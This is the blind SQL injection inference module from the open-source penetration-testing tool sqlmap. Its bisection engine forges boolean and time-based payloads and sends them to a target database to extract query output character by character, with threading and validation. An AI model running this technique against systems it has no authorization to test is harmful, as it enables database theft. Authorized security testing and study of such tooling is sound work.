sqlmap/lib/techniques/blind/inference.py
Miroslav Stampar 9ff2dcf1c1 Fixes #2228
2016-10-15 00:16:53 +02:00

678 lines
30 KiB
Python

#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import re
import threading
import time
from extra.safe2bin.safe2bin import safecharencode
from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds
from lib.core.common import dataToStdout
from lib.core.common import decodeHexValue
from lib.core.common import decodeIntToUnicode
from lib.core.common import filterControlChars
from lib.core.common import getCharset
from lib.core.common import getCounter
from lib.core.common import goGoodSamaritan
from lib.core.common import getPartRun
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import incrementCounter
from lib.core.common import safeStringFormat
from lib.core.common import singleTimeWarnMessage
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import ADJUST_TIME_DELAY
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapThreadException
from lib.core.settings import CHAR_INFERENCE_MARK
from lib.core.settings import INFERENCE_BLANK_BREAK
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
from lib.core.settings import INFERENCE_GREATER_CHAR
from lib.core.settings import INFERENCE_EQUALS_CHAR
from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
from lib.core.settings import MAX_BISECTION_LENGTH
from lib.core.settings import MAX_REVALIDATION_STEPS
from lib.core.settings import NULL
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
from lib.core.settings import PARTIAL_VALUE_MARKER
from lib.core.settings import PAYLOAD_DELIMITER
from lib.core.settings import RANDOM_INTEGER_MARKER
from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.utils.progress import ProgressBar
from lib.utils.xrange import xrange
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
abortedFlag = False
showEta = False
partialValue = u""
finalValue = None
retrievedLength = 0
asciiTbl = getCharset(charsetType)
threadData = getCurrentThreadData()
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal:
if PARTIAL_HEX_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")
if retVal and conf.hexConvert:
partialValue = retVal
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
logger.info(infoMsg)
elif PARTIAL_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
if retVal and not conf.hexConvert:
partialValue = retVal
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
logger.info(infoMsg)
else:
infoMsg = "resumed: %s" % safecharencode(retVal)
logger.info(infoMsg)
return 0, retVal
try:
# Set kb.partRun in case "common prediction" feature (a.k.a. "good
# samaritan") is used or the engine is called from the API
if conf.predictOutput:
kb.partRun = getPartRun()
elif hasattr(conf, "api"):
kb.partRun = getPartRun(alias=False)
else:
kb.partRun = None
if partialValue:
firstChar = len(partialValue)
elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
firstChar = 0
elif dump and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
firstChar = int(conf.firstChar) - 1
elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int):
firstChar = int(firstChar) - 1
else:
firstChar = 0
if "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
lastChar = 0
elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())):
lastChar = int(conf.lastChar)
elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int):
lastChar = int(lastChar)
else:
lastChar = 0
if Backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.escape(expressionReplaced)
else:
expressionUnescaped = unescaper.escape(expression)
if isinstance(length, basestring) and length.isdigit() or isinstance(length, int):
length = int(length)
else:
length = None
if length == 0:
return 0, ""
if length and (lastChar > 0 or firstChar > 0):
length = min(length, lastChar or length) - firstChar
if length and length > MAX_BISECTION_LENGTH:
length = None
showEta = conf.eta and isinstance(length, int)
numThreads = min(conf.threads, length) or 1
if showEta:
progress = ProgressBar(maxValue=length)
if timeBasedCompare and conf.threads > 1 and not conf.forceThreads:
warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
singleTimeWarnMessage(warnMsg)
if numThreads > 1:
if not timeBasedCompare or conf.forceThreads:
debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
logger.debug(debugMsg)
else:
numThreads = 1
if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
warnMsg = "running in a single-thread mode. Please consider "
warnMsg += "usage of option '--threads' for faster data retrieval"
singleTimeWarnMessage(warnMsg)
if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
if isinstance(length, int) and conf.threads > 1:
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
else:
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
hintlock = threading.Lock()
def tryHint(idx):
with hintlock:
hintValue = kb.hintValue
if hintValue is not None and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
posValue = hintValue[idx - 1]
else:
posValue = ord(hintValue[idx - 1])
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return hintValue[idx - 1]
with hintlock:
kb.hintValue = None
return None
def validateChar(idx, value):
"""
Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
"""
validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result and timeBasedCompare:
result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
if not result:
warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
singleTimeWarnMessage(warnMsg)
incrementCounter(kb.technique)
return result
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
"""
continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
"""
result = tryHint(idx)
if result:
return result
if charTbl is None:
charTbl = type(asciiTbl)(asciiTbl)
originalTbl = type(charTbl)(charTbl)
if continuousOrder and shiftTable is None:
# Used for gradual expanding into unicode charspace
shiftTable = [2, 2, 3, 3, 5, 4]
if "'%s'" % CHAR_INFERENCE_MARK in payload:
for char in ('\n', '\r'):
if ord(char) in charTbl:
charTbl.remove(ord(char))
if not charTbl:
return None
elif len(charTbl) == 1:
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return decodeIntToUnicode(charTbl[0])
else:
return None
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
firstCheck = False
lastCheck = False
unexpectedCode = False
while len(charTbl) != 1:
position = None
if charsetType is None:
if not firstCheck:
try:
try:
lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
except IndexError:
lastChar = None
if 'a' <= lastChar <= 'z':
position = charTbl.index(ord('a') - 1) # 96
elif 'A' <= lastChar <= 'Z':
position = charTbl.index(ord('A') - 1) # 64
elif '0' <= lastChar <= '9':
position = charTbl.index(ord('0') - 1) # 47
except ValueError:
pass
finally:
firstCheck = True
elif not lastCheck and numThreads == 1: # not usable in multi-threading environment
if charTbl[(len(charTbl) >> 1)] < ord(' '):
try:
# favorize last char check if current value inclines toward 0
position = charTbl.index(1)
except ValueError:
pass
finally:
lastCheck = True
if position is None:
position = (len(charTbl) >> 1)
posValue = charTbl[position]
falsePayload = None
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)
if timeBasedCompare:
if kb.responseTimeMode:
kb.responseTimePayload = falsePayload
else:
kb.responseTimePayload = None
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if not timeBasedCompare:
unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode)
if unexpectedCode:
warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode
singleTimeWarnMessage(warnMsg)
if result:
minValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[position:]
else:
# xrange() - extended virtual charset used for memory/space optimization
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
else:
maxValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[:position]
else:
charTbl = xrange(charTbl[0], charTbl[position])
if len(charTbl) == 1:
if continuousOrder:
if maxValue == 1:
return None
# Going beyond the original charset
elif minValue == maxChar:
# If the original charTbl was [0,..,127] new one
# will be [128,..,(128 << 4) - 1] or from 128 to 2047
# and instead of making a HUGE list with all the
# elements we use a xrange, which is a virtual
# list
if expand and shiftTable:
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
originalTbl = xrange(charTbl)
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
else:
return None
else:
retVal = minValue + 1
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
if not kb.originalTimeDelay:
kb.originalTimeDelay = conf.timeSec
threadData.validationRun = 0
if retried < MAX_REVALIDATION_STEPS:
errMsg = "invalid character detected. retrying.."
logger.error(errMsg)
if timeBasedCompare:
if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
conf.timeSec += 1
warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
logger.warn(warnMsg)
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
dbgMsg = "turning off time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
else:
errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
logger.error(errMsg)
conf.timeSec = kb.originalTimeDelay
return decodeIntToUnicode(retVal)
else:
if timeBasedCompare:
threadData.validationRun += 1
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
dbgMsg = "turning back on time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES
return decodeIntToUnicode(retVal)
else:
return None
else:
if minValue == maxChar or maxValue == minChar:
return None
for index in xrange(len(originalTbl)):
if originalTbl[index] == minValue:
break
# If we are working with non-continuous elements, both minValue and character after
# are possible candidates
for retVal in (originalTbl[index], originalTbl[index + 1]):
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return decodeIntToUnicode(retVal)
return None
# Go multi-threading (--threads > 1)
if conf.threads > 1 and isinstance(length, int) and length > 1:
threadData.shared.value = [None] * length
threadData.shared.index = [firstChar] # As list for python nested function scoping
threadData.shared.start = firstChar
try:
def blindThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.index.acquire()
if threadData.shared.index[0] - firstChar >= length:
kb.locks.index.release()
return
threadData.shared.index[0] += 1
curidx = threadData.shared.index[0]
kb.locks.index.release()
if kb.threadContinue:
charStart = time.time()
val = getChar(curidx)
if val is None:
val = INFERENCE_UNKNOWN_CHAR
else:
break
with kb.locks.value:
threadData.shared.value[curidx - 1 - firstChar] = val
currentValue = list(threadData.shared.value)
if kb.threadContinue:
if showEta:
progress.progress(time.time() - charStart, threadData.shared.index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
for i in xrange(length):
if currentValue[i] is not None:
endCharIndex = max(endCharIndex, i)
output = ''
if endCharIndex > conf.progressWidth:
startCharIndex = endCharIndex - conf.progressWidth
count = threadData.shared.start
for i in xrange(startCharIndex, endCharIndex + 1):
output += '_' if currentValue[i] is None else currentValue[i]
for i in xrange(length):
count += 1 if currentValue[i] is not None else 0
if startCharIndex > 0:
output = '..' + output[2:]
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
output = output[:-2] + '..'
if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
_ = count - firstChar
output += '_' * (min(length, conf.progressWidth) - len(output))
status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length))
output += status if _ != length else " " * len(status)
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
runThreads(numThreads, blindThread, startThreadMsg=False)
except KeyboardInterrupt:
abortedFlag = True
finally:
value = [_ for _ in partialValue]
value.extend(_ for _ in threadData.shared.value)
infoMsg = None
# If we have got one single character not correctly fetched it
# can mean that the connection to the target URL was lost
if None in value:
partialValue = "".join(value[:value.index(None)])
if partialValue:
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue))
else:
finalValue = "".join(value)
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr(conf, "api"):
dataToStdout(infoMsg)
# No multi-threading (--threads = 1)
else:
index = firstChar
threadData.shared.value = ""
while True:
index += 1
charStart = time.time()
# Common prediction feature (a.k.a. "good samaritan")
# NOTE: to be used only when multi-threading is not set for
# the moment
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
val = None
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
# If there is one single output in common-outputs, check
# it via equal against the query output
if commonValue is not None:
# One-shot query containing equals commonValue
testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)
query = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
# Did we have luck?
if result:
if showEta:
progress.progress(time.time() - charStart, len(commonValue))
elif conf.verbose in (1, 2) or hasattr(conf, "api"):
dataToStdout(filterControlChars(commonValue[index - 1:]))
finalValue = commonValue
break
# If there is a common pattern starting with partialValue,
# check it via equal against the substring-query output
if commonPattern is not None:
# Substring-query containing equals commonPattern
subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)
query = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
# Did we have luck?
if result:
val = commonPattern[index - 1:]
index += len(val) - 1
# Otherwise if there is no commonValue (single match from
# txt/common-outputs.txt) and no commonPattern
# (common pattern) use the returned common charset only
# to retrieve the query output
if not val and commonCharset:
val = getChar(index, commonCharset, False)
# If we had no luck with commonValue and common charset,
# use the returned other charset
if not val:
val = getChar(index, otherCharset, otherCharset == asciiTbl)
else:
val = getChar(index, asciiTbl)
if val is None:
finalValue = partialValue
break
if kb.data.processChar:
val = kb.data.processChar(val)
threadData.shared.value = partialValue = partialValue + val
if showEta:
progress.progress(time.time() - charStart, index)
elif conf.verbose in (1, 2) or hasattr(conf, "api"):
dataToStdout(filterControlChars(val))
# some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n':
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
break
if (lastChar > 0 and index >= lastChar):
finalValue = "" if length == 0 else partialValue
finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue
partialValue = None
break
except KeyboardInterrupt:
abortedFlag = True
finally:
kb.prependFlag = False
kb.stickyLevel = None
retrievedLength = len(finalValue or "")
if finalValue is not None:
finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue
hashDBWrite(expression, finalValue)
elif partialValue:
hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))
if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"):
infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength)
dataToStdout(infoMsg)
else:
if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
dataToStdout("\n")
if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
infoMsg = "retrieved: %s" % filterControlChars(finalValue)
logger.info(infoMsg)
if kb.threadException:
raise SqlmapThreadException("something unexpected happened inside the threads")
if abortedFlag:
raise KeyboardInterrupt
_ = finalValue or partialValue
return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
def queryOutputLength(expression, payload):
"""
Returns the query output length.
"""
infoMsg = "retrieving the length of query output"
logger.info(infoMsg)
start = time.time()
lengthExprUnescaped = agent.forgeQueryOutputLength(expression)
count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS)
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
logger.debug(debugMsg)
if length == " ":
length = 0
return length